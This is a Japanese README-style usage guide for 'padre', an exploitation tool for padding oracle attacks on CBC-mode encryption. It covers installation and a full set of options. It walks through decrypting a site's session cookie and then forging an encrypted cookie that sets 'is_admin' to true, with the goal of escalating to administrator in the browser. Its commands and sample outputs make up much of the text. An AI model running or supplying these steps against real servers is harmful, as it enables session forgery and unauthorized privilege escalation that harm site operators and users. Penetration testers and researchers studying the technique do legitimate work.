
padre は、CBCモード暗号に対するPadding Oracle攻撃のための高度なエクスプロイターです。
特徴:

最も簡単な方法は、最新リリースからお使いのOS向けのプリコンパイル済みバイナリをダウンロードすることです。
または、Goがインストールされている場合は、ソースからビルドします:
go install github.com/glebarez/padre@latest
暗号化データがSESSという名前のCookieに保存されている、疑わしいPadding Oracleを見つけた場合、次のように使用できます:
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg=='
padreは自動的にHTTPレスポンスをフィンガープリントし、Padding Oracleが確認できるかどうかを判断します。サーバーが実際に脆弱である場合、提供されたトークンは以下のようなものに復号されます:
{"user_id": 456, "is_admin": false}
ここで権限を昇格できそうです!
次のように、Oracleが何らかの巧妙な平文に復号する独自の暗号化データを生成することで、それを試みることができます:
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' -enc '{"user_id": 456, "is_admin": true}'
これにより、別のエンコードされた暗号化データが出力されます(base64が使用されている場合、以下のようになるかもしれません):
dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=
次にブラウザを開き、SESS Cookieの値を上記の値に設定します。元のOracleページを読み込むと、管理者レベルに昇格しているはずです。
Usage: padre [OPTIONS] [INPUT]
INPUT:
復号モード: 暗号化データ
暗号化モード: 暗号化する平文
指定しない場合はSTDINから読み込み
注: バイナリデータは常にHTTPでエンコードされます。必要に応じてエンコードルールを調整してください(オプション: -e, -r参照)
OPTIONS:
-u *必須*
ターゲットURL。トークンプレースホルダーを定義するには$文字を使用(URL内にある場合)
-enc
暗号化モード
-err
正規表現パターン。HTTPレスポンスボディをこれと照合し、Padding Oracleを検出します。省略すると自動フィンガープリンティングを実行
-e
バイナリデータに適用するエンコード。サポートされる値:
b64 (標準base64) *デフォルト*
lhex (小文字hex)
-r
バイナリデータのエンコード後に適用する追加の置換。奇数長の文字列を使用し、<OLD><NEW>の文字ペアで構成します。
例:
サーバーがbase64を使用するが、'/'を'!'に、'+'を'-'に、'='を'~'に置き換える場合、-r "/!+-=~" を使用
-cookie
HTTPリクエストに設定するCookie値。トークンプレースホルダーをマークするには$文字を使用
-post
POSTリクエストを実行するための文字列データ。トークンプレースホルダーをマークするには$文字を使用
-ct
POSTリクエストのContent-Type。指定しない場合、Content-Typeは自動的に決定されます。
-b
暗号で使用されるブロック長(AESの場合は16を使用)。省略すると自動検出を実行。サポートされる値:
8
16 *デフォルト*
32
-p
ターゲットサーバーに確立する並列HTTP接続数 [1-256]
30 *デフォルト*
-proxy
HTTPプロキシ。例: BurpまたはZAPを使用する場合は -proxy "http://localhost:8080"